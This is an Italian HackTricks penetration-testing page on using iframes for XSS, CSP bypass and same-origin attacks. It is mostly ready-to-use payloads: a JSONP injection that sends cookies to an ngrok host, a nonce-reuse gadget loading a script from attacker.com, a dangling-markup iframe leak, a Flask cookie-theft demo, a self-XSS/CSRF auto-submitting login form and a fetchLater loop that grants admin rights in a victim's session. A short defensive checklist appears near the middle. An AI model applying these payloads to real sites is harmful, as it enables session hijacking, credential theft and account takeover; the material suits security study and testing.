Iframes in XSS, CSP e SOP
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Iframes in XSS
Ci sono 3 modi per specificare il contenuto di una pagina in un iframe:
- Tramite
srcche indica un URL (l’URL può essere cross-origin o same-origin) - Tramite
srcche indica il contenuto usando il protocollodata: - Tramite
srcdocche indica il contenuto
Accesso a variabili Parent & Child
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Se accedi all’HTML precedente tramite un http server (come python3 -m http.server) noterai che tutti gli script verranno eseguiti (dato che non c’è alcuna CSP che lo impedisca)., la finestra parent non sarà in grado di accedere alla variabile secret all’interno di nessun iframe e solo gli iframe if2 & if3 (che sono considerati same-site) possono accedere al secret nella finestra originale.
Nota come if4 è considerato avere origine null.
srcdoc particolarità che contano negli exploit reali
Due dettagli riguardo srcdoc sono facili da trascurare durante lo sfruttamento:
- A meno che il frame non sia sandboxed senza
allow-same-origin, un documentosrcdocè same-origin con il parent. Pertanto, iniettare HTML controllato dall’attaccante insrcdocè solitamente equivalente a dargli accesso diretto al DOM del documento superiore. - Anche se l’URL del documento è
about:srcdoc, gli URL relativi vengono risolti usando l’URL della pagina che li incorpora come base. Questo significa che payload come<script src="/upload/payload.js"></script>o<img src="/internal/debug">mireranno all’origine del parent, non aabout:srcdoc.
Payload pratico:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
Questo è particolarmente utile quando si controlla solo il markup ma si conosce un same-origin path che restituisce JavaScript, JSONP o HTML controllato dall’attaccante senza una CSP restrittiva.
Iframes con CSP
Tip
Nota che nei bypass seguenti la risposta alla pagina iframed non contiene alcun CSP header che impedisca l’esecuzione di JS.
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Nota come la precedente CSP permette solo l’esecuzione dello script inline.
Tuttavia, solo gli script if1 e if2 verranno eseguiti ma solo if1 potrà accedere al segreto del frame padre.
.png)
Pertanto, è possibile bypassare una CSP se puoi caricare un file JS sul server e caricarlo tramite iframe anche con script-src 'none'. Questo può potenzialmente essere fatto anche abusando di un endpoint JSONP same-site.
Puoi testarlo con lo scenario seguente in cui un cookie viene rubato anche con script-src 'none'. Avvia semplicemente l’applicazione e accedila con il tuo browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Nuove tecniche (2023-2025) di bypass CSP con iframes
La comunità di ricerca continua a scoprire modi creativi di abusare degli iframes per eludere policy restrittive. Di seguito trovi le tecniche più note pubblicate negli ultimi anni:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quando un’applicazione riflette HTML ma una CSP forte blocca l’esecuzione di script, puoi comunque leak token sensibili iniettando un attributo dangling
<iframe name>. Una volta che il markup parziale viene parsato, lo script dell’attacker in un’origine separata naviga il frame versoabout:blanke leggewindow.name, che ora contiene tutto fino al prossimo carattere di virgoletta (per esempio un token CSRF). Poiché nessun JavaScript viene eseguito nel contesto della vittima, l’attacco solitamente eludescript-src 'none'. Un PoC minimale è:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – I nonce CSP sono leggibili dal DOM da documenti della stessa origine. Se un attacker può injectare o caricare una pagina HTML same-origin e caricarla in un iframe, il frame child può leggere
top.document.querySelector('[nonce]').noncee creare nuovi elementi<script nonce>. Questo trasforma una same-origin HTML injection in esecuzione completa di script anche sottostrict-dynamic(perché il nonce è già trusted). Il gadget seguente scala una markup injection in XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – Una pagina che omette la direttiva
form-actionpuò vedere il suo form di login reindirizzato da un iframe iniettato o da HTML inline in modo che i password manager riempiano automaticamente e inviino le credenziali a un dominio esterno, anche quando è presentescript-src 'none'. Complementa sempredefault-srcconform-action!
Note difensive (checklist rapida)
- Invia sempre tutte le direttive CSP che controllano contesti secondari (
form-action,frame-src,child-src,object-src, ecc.). - Non fare affidamento sul fatto che i nonce siano segreti—usa
strict-dynamice elimina i punti di injection. - Quando devi incorporare documenti non affidabili usa
sandbox="allow-scripts allow-same-origin"con molta attenzione (o senzaallow-same-originse hai solo bisogno dell’isolamento dell’esecuzione degli script). - Considera un deployment defense-in-depth COOP+COEP; il nuovo attributo
<iframe credentialless>(§ below) ti permette di farlo senza rompere gli embed di terze parti.
Altri payloads trovati in the wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Sandbox dell’iframe
Il contenuto all’interno di un iframe può essere soggetto a restrizioni aggiuntive tramite l’uso dell’attributo sandbox. Per impostazione predefinita, questo attributo non viene applicato, quindi non sono presenti restrizioni.
Quando viene utilizzato, l’attributo sandbox impone diverse limitazioni:
- Il contenuto è trattato come se provenisse da un’origine unica.
- Qualsiasi tentativo di invio dei moduli viene bloccato.
- L’esecuzione di script è proibita.
- L’accesso ad alcune API è disabilitato.
- Impedisce ai link di interagire con altri contesti di navigazione.
- L’uso di plugin tramite
<embed>,<object>,<applet>o tag simili è vietato. - Si impedisce al contenuto di navigare il contesto di navigazione di livello superiore.
- Funzionalità attivate automaticamente, come la riproduzione video o l’auto-focus dei controlli dei moduli, vengono bloccate.
Suggerimento: I browser moderni supportano flag granulari come allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, ecc. Combinali per concedere solo le capacità minime richieste dall’applicazione incorporata.
Il valore dell’attributo può essere lasciato vuoto (sandbox="") per applicare tutte le restrizioni menzionate. In alternativa, può essere impostato su una lista di valori separati da spazi che esentano l’iframe da certe restrizioni.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Se la pagina incorporata è same-origin e concedi sia allow-scripts che allow-same-origin, il sandbox diventa un confine molto debole. Il contenuto figlio può eseguire JavaScript, accedere a top.document e persino rimuovere l’attributo sandbox dal proprio elemento <iframe>:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
In pratica, sandbox="allow-scripts allow-same-origin" dovrebbe essere considerato unsafe for attacker-influenced same-origin content. È ancora utile per alcuni third-party embeds, ma non è un confine di isolamento contro HTML same-origin ostile.
Credentialless iframes
As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
- Gli script in differenti iframe
credentiallessstill share the same top-level origin e possono interagire liberamente tramite il DOM, rendendo fattibili multi-iframe self-XSS attacks (see PoC below). - Poiché la rete è credential-stripped, qualsiasi richiesta all’interno dell’iframe si comporta effettivamente come una sessione non autenticata – gli endpoint protetti da CSRF di solito falliscono, ma le pagine pubbliche leakable via DOM restano comunque nel perimetro.
- Lo storage è partitioned by a top-level document nonce: i frame
credentiallesssulla stessa pagina possono condividere lo storage tra loro, ma questo viene cancellato quando il documento top-level viene scartato. - I pop-up aperti da un iframe
credentiallessricevono implicitamenterel="noopener", interrompendo alcuni OAuth flows. - I browser dovrebbero disabilitare autofill/password managers all’interno degli iframe
credentialless, limitando il furto di credenziali via autofill in questi contesti.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Esempio di exploit: Self-XSS + CSRF
In questo attacco, l’attaccante prepara una pagina web dannosa con due iframe:
- Un iframe che carica la pagina della vittima con il flag
credentiallesscon un CSRF che innesca una XSS (Immagina una Self-XSS nel campo username dell’utente):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Un altro iframe in cui l’utente è effettivamente loggato (senza il flag
credentialless).
Poi, dall’XSS è possibile accedere all’altro iframe poiché hanno la stessa SOP e rubare il cookie, ad esempio eseguendo:
alert(window.top[1].document.cookie);
fetchLater Attack
Come indicato in questo articolo l’API fetchLater permette di configurare una richiesta da eseguire in seguito. Questo può essere abusato per, ad esempio, effettuare il login di una vittima all’interno della sessione dell’attaccante (con Self-XSS), programmare una richiesta fetchLater (per cambiare la password dell’utente corrente, ad esempio) e logout dalla sessione dell’attaccante. Poi, quando la vittima accede nella propria sessione, la richiesta differita può essere eseguita usando i cookie disponibili al momento dell’invio, cambiando la password della vittima con quella impostata dall’attaccante.
Note operative:
fetchLaterè entrato in Chrome origin trial nel 2024 ed è stato rilasciato in Chrome 135 (aprile 2025), quindi verifica la disponibilità della feature prima di farvi affidamento.- La risposta è not disponibile per JavaScript; body/headers vengono ignorati una volta che la richiesta differita è inviata.
- L’enforcement di CSP usa
connect-src(nonscript-src) per le richieste differite. - Le richieste vengono attivate al page unload o quando
activateAfterscade (vale il primo evento che si verifica). - Il ritardo massimo per richiesta singola è attualmente
299000ms, quindi attese prolungate richiedono la riprogrammazione di più richieste differite.
In questo modo, anche se l’URL della vittima non può essere caricato in un iframe (a causa di CSP o altre restrizioni), l’attaccante può comunque eseguire una richiesta nella sessione della vittima.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
Iframes in SOP
Consulta le seguenti pagine:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Riferimenti
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


